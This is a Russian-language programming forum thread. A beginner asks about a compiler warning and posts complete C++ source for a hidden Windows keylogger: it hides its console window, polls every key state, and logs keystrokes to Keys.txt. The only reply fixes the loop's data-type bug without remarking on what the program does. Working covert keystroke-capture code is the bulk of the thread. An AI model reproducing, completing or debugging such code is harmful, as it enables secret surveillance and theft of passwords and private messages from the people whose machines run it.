Форум программистов, компьютерный форум CyberForum.ru
Наши страницы

С++ для начинающих

Войти
Регистрация
Восстановить пароль
 
nafnaf
Сообщений: n/a
#1

warning - C++

28.11.2010, 00:01. Просмотров 722. Ответов 1
Метки нет (Все метки)

помогите новичку, что за warning 16(comparison is always true due to limited range of data type) и как убрать?


C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#include <iostream>
#include <Windows.h>
#include <WinUser.h>
 
 
using namespace std;
 
int writetext(int Keystroke, char *file);
void invisible();
 
int main() {
    invisible();
    char i;
 
    while (1 == 1){
        for (i = 8; i<=190; i++) {
            if(GetAsyncKeyState(i) == -32767) {
                writetext (i, "Keys.txt"); 
            }
        }
    }
    cin.get();
    return 0;
}
 
int writetext(int key, char *file)
{
    if((key == 1) || (key == 2))
        return 0;
 
    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
    cout << key << endl;
 
    if (key == 8)
        fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
    else if (key == 13)
        fprintf(OUTPUT_FILE, "%s", "\n");
    else if (key == 32)
        fprintf(OUTPUT_FILE, "%s", " ");
    else if (key == VK_TAB)
        fprintf(OUTPUT_FILE, "%s", "\n[TAB]");
    else if (key == VK_SHIFT)
        fprintf(OUTPUT_FILE, "%s", "\n[SHIFT]");
    else if (key == VK_CONTROL)
        fprintf(OUTPUT_FILE, "%s", "\n[CONTROL]");
    else if (key == VK_ESCAPE)
        fprintf(OUTPUT_FILE, "%s", "\n[ESCAPE]");
    else if (key == VK_END)
        fprintf(OUTPUT_FILE, "%s", "\n[END]");
    else if (key == VK_HOME)
        fprintf(OUTPUT_FILE, "%s", "\n[HOME]");
    else if (key == VK_LEFT)
        fprintf(OUTPUT_FILE, "%s", "\n[LEFT]");
    else if (key == VK_RIGHT)
        fprintf(OUTPUT_FILE, "%s", "\n[RIGHT]");
    else if (key == VK_UP)
        fprintf(OUTPUT_FILE, "%s", "\n[UP]");
    else if (key == VK_DOWN)
        fprintf(OUTPUT_FILE, "%s", "\n[DOWN]");
    else if (key == 190 || key == 110 )
        fprintf(OUTPUT_FILE, "%s", ".");
    else
        fprintf(OUTPUT_FILE, "%s", &key);
 
    fclose(OUTPUT_FILE);
 
 
    return 0;
}
 
void invisible() {
 
    HWND stealth;
    AllocConsole();
    stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(stealth, 0);
 
}
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
28.11.2010, 00:01
Здравствуйте! Я подобрал для вас темы с ответами на вопрос warning (C++):

Warning C4101 и warning C4996 - C++
Здравствуйте, пишу программу &quot;Домашняя видеотека&quot;, в которой необходимо реализовать запить информации про фильм и поиск по жанру, и что бы...

Windows 8.1 warning - C++
Всем привет! Я перенес свою программу на Win 8.1 и при запуске винда пишет, что моя прога сомнительная и не хочет ее запускать. Как...

Warning C4715 - C++
#include &quot;stdafx.h&quot; #include &lt;iostream&gt; #include &lt;iomanip&gt; #include &lt;math.h&gt; using namespace std; float max (float a, float...

warning strtok - C++
Пишу в 10 студии: char* bla = strtok(&quot;bla bla bla&quot;, &quot; &quot;); Выдаёт варнинг: This function or variable may be unsafe. Consider using...

Warning в switch - C++
Пондобилось сделать такую конструкцию switch: switch(point.x){ case 0: if(point.y &gt;100) break; case 10: if(point.y...

Warning ... is assigned a value that is never used - C++
#pragma argsused #include&lt;stdio.h&gt; #include&lt;iostream.h&gt; int main(int argc, char* argv) { int varl; int var2; int var3; ...

1
ForEveR
В астрале
Эксперт С++
7979 / 4738 / 321
Регистрация: 24.06.2010
Сообщений: 10,543
Завершенные тесты: 3
28.11.2010, 00:12 #2
C++
1
2
3
4
    char i;
 
    while (1 == 1){
        for (i = 8; i<=190; i++)
Как минимум цикл можно писать просто while(1)
+ т.к. i имеет тип signed char, то ограничена сверху значением 127... А вы гоните до 190. Нехорошо. Либо сделать int, либо unsigned char.
0
MoreAnswers
Эксперт
37091 / 29110 / 5898
Регистрация: 17.06.2006
Сообщений: 43,301
28.11.2010, 00:12
Привет! Вот еще темы с ответами:

warning C4930 - C++
Дан следующий код на С++ class V {}; class A { public: A (const V &amp;v) {_v = v;} private:

Warning на const string - C++
Добрый день! Не подскажите, из-за чего выскакивает варнинг? Код: const string sph = &quot;Sphere&quot;; Ошибка: ...

Warning unused variable - C++
Подскажите, что не так? Почему при компиляции выдает ошибку???

О #pragma warning(disable: 4786) - C++
Вот создаю пустое приложение Win32 Console Application. Добавляю к примеру файл ex.cpp со следующим содержанием: #include &lt;string&gt; ...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
2
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2017, vBulletin Solutions, Inc.
Рейтинг@Mail.ru